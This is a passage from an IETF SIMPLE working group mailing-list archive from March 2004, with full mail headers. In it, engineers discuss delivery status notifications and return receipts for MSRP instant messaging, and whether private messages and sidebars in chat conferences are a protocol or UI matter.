From exim@www1.ietf.org  Tue Mar  2 16:19:24 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA01564
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 16:19:24 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyHI0-0003jf-N0
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 16:18:57 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i22LIuPq014355
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 16:18:56 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyHI0-0003jS-Iw
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 16:18:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA01557
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 16:18:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyHHy-0007bn-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 16:18:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyHGz-0007Ta-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 16:17:54 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyHGF-0007LZ-00; Tue, 02 Mar 2004 16:17:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyHG9-0003b4-Lq; Tue, 02 Mar 2004 16:17:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyHFu-0003Yn-Jc
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 16:16:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA01478
	for <simple@ietf.org>; Tue, 2 Mar 2004 16:16:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyHFs-0007Jc-00
	for simple@ietf.org; Tue, 02 Mar 2004 16:16:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyHEv-0007Ad-00
	for simple@ietf.org; Tue, 02 Mar 2004 16:15:46 -0500
Received: from sj-iport-1-in.cisco.com ([171.71.176.70] helo=sj-iport-1.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyHE0-0006wK-00
	for simple@ietf.org; Tue, 02 Mar 2004 16:14:48 -0500
Received: from mira-sjc5-b.cisco.com (IDENT:mirapoint@mira-sjc5-b.cisco.com [171.71.163.14])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i22LEGiQ018322;
	Tue, 2 Mar 2004 13:14:16 -0800 (PST)
Received: from [127.0.0.1] (ssh-sjc-1.cisco.com [171.68.225.134])
	by mira-sjc5-b.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AQU97309;
	Tue, 2 Mar 2004 13:14:14 -0800 (PST)
Mime-Version: 1.0 (Apple Message framework v612)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com>
Content-Transfer-Encoding: 7bit
Cc: Rohan Mahy <rohan@cisco.com>
From: Rohan Mahy <rohan@cisco.com>
To: simple@ietf.org
X-Mailer: Apple Mail (2.612)
Content-Transfer-Encoding: 7bit
Subject: [Simple] return receipt and delivery status notification for MSRP
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 06:15:03 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Hi,

I wanted to record an observation about how optional return receipt and 
delivery status notification should be for MSRP. This was inspired by 
Eric Burger's comments at the mic about how positive and negative 
acknowledgments have a different character.

	Positive Acknowledgments:
I may want to know about partial message delivery so I can interrupt 
and resume-in-place when transferring a large IM attachment (walk into 
the elevator example).

I may want to know just that a complete message was delivered

I may want to know that a complete message is queued/stored for user 
pickup

I may want to know that a complete message was displayed to the target 
end user

I may want to receive no messages at all about e2e delivery status

	Negative Acknowledgements
I may want to know that a message was not delivered due to a relay 
error and why

I may want to know that a message was not delivered because of a UA 
error (and why)

I may not care if messages don't get delivered e2e (expecting just best 
effort)

We should figure out a way to indicate which of these you want.  The 
mail folks have dealt with very, very similar problems.

Homework assignment for the working group: read and understand the 
semantics of Delivery Status Notifications (RFC 3464) and Return 
Receipts/Message Disposition Notifications (RFC 2298)

thanks,
-rohan


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 17:01:04 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA03523
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 17:01:04 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyHwn-0005sM-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 17:01:05 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyHvn-0005h2-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 17:00:04 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyHuu-0005Xs-00; Tue, 02 Mar 2004 16:59:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyHuo-00077s-VR; Tue, 02 Mar 2004 16:59:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyHto-0006za-On
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 16:58:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA03289
	for <simple@ietf.org>; Tue, 2 Mar 2004 16:57:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyHtm-0005OU-00
	for simple@ietf.org; Tue, 02 Mar 2004 16:57:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyHsn-0005G6-00
	for simple@ietf.org; Tue, 02 Mar 2004 16:56:58 -0500
Received: from auemail2.lucent.com ([192.11.223.163] helo=auemail2.firewall.lucent.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyHsN-00057Y-00
	for simple@ietf.org; Tue, 02 Mar 2004 16:56:32 -0500
Received: from ihmail.ih.lucent.com (h135-1-218-70.lucent.com [135.1.218.70])
	by auemail2.firewall.lucent.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i22Ltv307008;
	Tue, 2 Mar 2004 15:55:57 -0600 (CST)
Received: from lucent.com (il0015vkg1.ih.lucent.com [135.185.173.147]) by ihmail.ih.lucent.com (8.11.7+Sun/EMS-1.5 sol2)
	id i22LtuK04216; Tue, 2 Mar 2004 15:55:56 -0600 (CST)
Message-ID: <404502DD.6040702@lucent.com>
From: "Vijay K. Gurbani" <vkg@lucent.com>
Organization: Wireless Research and Development/Internet Software and Services
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Rohan Mahy <rohan@cisco.com>
CC: simple@ietf.org
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com>
In-Reply-To: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 15:55:41 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Rohan Mahy wrote:

> Hi,
> 
> I wanted to record an observation about how optional return receipt 
> and delivery status notification should be for MSRP. This was 
> inspired by Eric Burger's comments at the mic about how positive 
> and negative acknowledgments have a different character.

Rohan:

I had started a thread related to Delivery Status reporting
last week (in response to Jonathan's I-D on Advanced
IM requirements).  The thread can be followed from the
following URI:

http://www1.ietf.org/mail-archive/working-groups/simple/current/msg02150.html

The summary of the thread was that it would be good to have
both positive and negative acknowledgements.  Buried in the
thread is a following observation which is of interest,
especially given the email tie-in you mention:

    It appears that there are two cases to consider: a) where
    the IM system is tied to a presence system, and b) where
    it is not.  In (a), a sender can be reasonably sure when
    he sends the message that the recipient got it.  A
    confirmation for each message would simply be too awkward,
    given the volume of IMs that can be potentially exchanged.
    (b) is more akin to email; the sender sends a message
    not expecting an immediate response.  If the undelying
    network fails to deliver the message, it should let the
    sender know.  Otherwise, no further communications are
    needed.

In this view, positive acknowledgements have limited use
if the IM user is tied to a presence system, but have
tremendous uses if the IM interface is not tied to a presence
system.  In short, I think negative acknowledgements should
be the norm (a la email), but positive acknowledgements
should be used if the sender of IM does not know what the
current presence and availability status of the receiver is.

>     Positive Acknowledgments:
> I may want to know about partial message delivery so I can interrupt and 
> resume-in-place when transferring a large IM attachment (walk into the 
> elevator example).
> 
> I may want to know just that a complete message was delivered
> 
> I may want to know that a complete message is queued/stored for user pickup
> 
> I may want to know that a complete message was displayed to the target 
> end user
> 
> I may want to receive no messages at all about e2e delivery status
> 
>     Negative Acknowledgements
> I may want to know that a message was not delivered due to a relay error 
> and why
> 
> I may want to know that a message was not delivered because of a UA 
> error (and why)
> 
> I may not care if messages don't get delivered e2e (expecting just best 
> effort)
> 
> We should figure out a way to indicate which of these you want.  The 
> mail folks have dealt with very, very similar problems.
> 
> Homework assignment for the working group: read and understand the 
> semantics of Delivery Status Notifications (RFC 3464) and Return 
> Receipts/Message Disposition Notifications (RFC 2298)
> 
> thanks,
> -rohan

Thanks,

- vijay
-- 
Vijay K. Gurbani  vkg@{lucent.com,research.bell-labs.com,acm.org}
Wireless Networks Group/Internet Software and Services
Lucent Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440
Naperville, Illinois 60566     Voice: +1 630 224 0216

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 17:01:38 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA03547
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 17:01:38 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyHws-0007kW-Oq
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 17:01:11 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i22M1AuZ029788
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 17:01:10 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyHws-0007kN-KX
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 17:01:10 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA03541
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 17:01:07 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyHwq-0005sr-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 17:01:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyHvp-0005hH-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 17:00:05 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyHuu-0005Xs-00; Tue, 02 Mar 2004 16:59:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyHuo-00077s-VR; Tue, 02 Mar 2004 16:59:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyHto-0006za-On
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 16:58:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA03289
	for <simple@ietf.org>; Tue, 2 Mar 2004 16:57:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyHtm-0005OU-00
	for simple@ietf.org; Tue, 02 Mar 2004 16:57:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyHsn-0005G6-00
	for simple@ietf.org; Tue, 02 Mar 2004 16:56:58 -0500
Received: from auemail2.lucent.com ([192.11.223.163] helo=auemail2.firewall.lucent.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyHsN-00057Y-00
	for simple@ietf.org; Tue, 02 Mar 2004 16:56:32 -0500
Received: from ihmail.ih.lucent.com (h135-1-218-70.lucent.com [135.1.218.70])
	by auemail2.firewall.lucent.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i22Ltv307008;
	Tue, 2 Mar 2004 15:55:57 -0600 (CST)
Received: from lucent.com (il0015vkg1.ih.lucent.com [135.185.173.147]) by ihmail.ih.lucent.com (8.11.7+Sun/EMS-1.5 sol2)
	id i22LtuK04216; Tue, 2 Mar 2004 15:55:56 -0600 (CST)
Message-ID: <404502DD.6040702@lucent.com>
From: "Vijay K. Gurbani" <vkg@lucent.com>
Organization: Wireless Research and Development/Internet Software and Services
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Rohan Mahy <rohan@cisco.com>
CC: simple@ietf.org
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com>
In-Reply-To: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 15:55:41 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Rohan Mahy wrote:

> Hi,
> 
> I wanted to record an observation about how optional return receipt 
> and delivery status notification should be for MSRP. This was 
> inspired by Eric Burger's comments at the mic about how positive 
> and negative acknowledgments have a different character.

Rohan:

I had started a thread related to Delivery Status reporting
last week (in response to Jonathan's I-D on Advanced
IM requirements).  The thread can be followed from the
following URI:

http://www1.ietf.org/mail-archive/working-groups/simple/current/msg02150.html

The summary of the thread was that it would be good to have
both positive and negative acknowledgements.  Buried in the
thread is a following observation which is of interest,
especially given the email tie-in you mention:

    It appears that there are two cases to consider: a) where
    the IM system is tied to a presence system, and b) where
    it is not.  In (a), a sender can be reasonably sure when
    he sends the message that the recipient got it.  A
    confirmation for each message would simply be too awkward,
    given the volume of IMs that can be potentially exchanged.
    (b) is more akin to email; the sender sends a message
    not expecting an immediate response.  If the undelying
    network fails to deliver the message, it should let the
    sender know.  Otherwise, no further communications are
    needed.

In this view, positive acknowledgements have limited use
if the IM user is tied to a presence system, but have
tremendous uses if the IM interface is not tied to a presence
system.  In short, I think negative acknowledgements should
be the norm (a la email), but positive acknowledgements
should be used if the sender of IM does not know what the
current presence and availability status of the receiver is.

>     Positive Acknowledgments:
> I may want to know about partial message delivery so I can interrupt and 
> resume-in-place when transferring a large IM attachment (walk into the 
> elevator example).
> 
> I may want to know just that a complete message was delivered
> 
> I may want to know that a complete message is queued/stored for user pickup
> 
> I may want to know that a complete message was displayed to the target 
> end user
> 
> I may want to receive no messages at all about e2e delivery status
> 
>     Negative Acknowledgements
> I may want to know that a message was not delivered due to a relay error 
> and why
> 
> I may want to know that a message was not delivered because of a UA 
> error (and why)
> 
> I may not care if messages don't get delivered e2e (expecting just best 
> effort)
> 
> We should figure out a way to indicate which of these you want.  The 
> mail folks have dealt with very, very similar problems.
> 
> Homework assignment for the working group: read and understand the 
> semantics of Delivery Status Notifications (RFC 3464) and Return 
> Receipts/Message Disposition Notifications (RFC 2298)
> 
> thanks,
> -rohan

Thanks,

- vijay
-- 
Vijay K. Gurbani  vkg@{lucent.com,research.bell-labs.com,acm.org}
Wireless Networks Group/Internet Software and Services
Lucent Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440
Naperville, Illinois 60566     Voice: +1 630 224 0216

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 18:48:49 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10202
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 18:48:49 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJd4-00068h-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 18:48:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyJc9-00061n-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 18:47:54 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJbb-0005v6-00; Tue, 02 Mar 2004 18:47:19 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJbK-0000yT-Nb; Tue, 02 Mar 2004 18:47:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJb9-0000vs-Tt
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 18:46:52 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10128
	for <simple@ietf.org>; Tue, 2 Mar 2004 18:46:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJb6-0005te-00
	for simple@ietf.org; Tue, 02 Mar 2004 18:46:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyJa7-0005ky-00
	for simple@ietf.org; Tue, 02 Mar 2004 18:45:48 -0500
Received: from rtp-iport-2.cisco.com ([64.102.122.149])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJZA-0005UW-00
	for simple@ietf.org; Tue, 02 Mar 2004 18:44:48 -0500
Received: from rtp-core-2.cisco.com (64.102.124.13)
  by rtp-iport-2.cisco.com with ESMTP; 02 Mar 2004 15:43:42 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i22NiGxU016059;
	Tue, 2 Mar 2004 18:44:16 -0500 (EST)
Received: from cisco.com (tokyo-vpn-user67.cisco.com [10.70.82.67])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL83195;
	Tue, 2 Mar 2004 18:44:13 -0500 (EST)
Message-ID: <40451C4C.5020800@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
CC: "ext Rosen, Brian" <Brian.Rosen@marconi.com>,
        ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Markus.Isomaki@nokia.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B6488@whq-msgusr-02.pit.comms.marconi.com> <40442B9F.9090606@nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 18:44:12 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Niemi Aki (Nokia-M/Espoo) wrote:
> 
>>> Of course you can't do private messages with voice. Voice and IM are 
>>> inherently different. You can't send private voice packets to another 
>>> participant of a conference, simply because there isn't a way to 
>>> single out a participant in a conference by directly addressing 
>>> packets there. It also makes mixing really complicated, because a 
>>> private voice stream might overlap with the rest of the conference. 
>>> These don't present a problem for IM; the sender can single out the 
>>> recipient using the cpim To header field and the recipient UA can 
>>> simply mark a message as private and render it to the same UI as the 
>>> rest of the IMs in that conference.
>>
>> I protest.  There is no logical difference.  There is no protocol
>> difference.  In most cases, there is no practical difference.  You
>> send media to some address, you get media from some address.  You
>> render it.  IM or voice or video is all just media, and its handled
>> the same way.  You might have "centralized" or "distributed" mixers.
>> Most IM systems, as implemented, are centralized mixers.  You send
>> all media to the mixer, it sends media to you.  There is nothing
>> special with IM.  You need some signaling for a private message.
>> You can use the same signaling for a sidebar or a whisper.
> 
> Hmm.. which systems are these? The ones I've used have both private 
> messages *and* sidebars.

It seems that in principle the difference between sidebars and private 
messages is simply one of UI design. A particular client could support 
one or the other, or both.

But you also seem to require that the initiator be able to choose which 
user experience the recipients will have. That turns it into a protocol 
issue. In general I would consider this a bad idea. But it is largely a 
human factors issue, and I don't feel qualified to comment on it except 
from the perspective of personal preference. But it seems that whole 
discussion hinges on whether there is a valid requirement for giving 
senders that degree of control over recipients.

	Paul


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 18:49:27 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10246
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 18:49:27 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJd8-0001Tv-US
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 18:49:01 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i22NmseL005695
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 18:48:54 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJd8-0001Tm-HV
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 18:48:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10213
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 18:48:49 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJd5-00068m-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 18:48:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyJcA-00061u-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 18:47:55 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJbb-0005v6-00; Tue, 02 Mar 2004 18:47:19 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJbK-0000yT-Nb; Tue, 02 Mar 2004 18:47:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJb9-0000vs-Tt
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 18:46:52 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10128
	for <simple@ietf.org>; Tue, 2 Mar 2004 18:46:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJb6-0005te-00
	for simple@ietf.org; Tue, 02 Mar 2004 18:46:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyJa7-0005ky-00
	for simple@ietf.org; Tue, 02 Mar 2004 18:45:48 -0500
Received: from rtp-iport-2.cisco.com ([64.102.122.149])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJZA-0005UW-00
	for simple@ietf.org; Tue, 02 Mar 2004 18:44:48 -0500
Received: from rtp-core-2.cisco.com (64.102.124.13)
  by rtp-iport-2.cisco.com with ESMTP; 02 Mar 2004 15:43:42 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i22NiGxU016059;
	Tue, 2 Mar 2004 18:44:16 -0500 (EST)
Received: from cisco.com (tokyo-vpn-user67.cisco.com [10.70.82.67])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL83195;
	Tue, 2 Mar 2004 18:44:13 -0500 (EST)
Message-ID: <40451C4C.5020800@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
CC: "ext Rosen, Brian" <Brian.Rosen@marconi.com>,
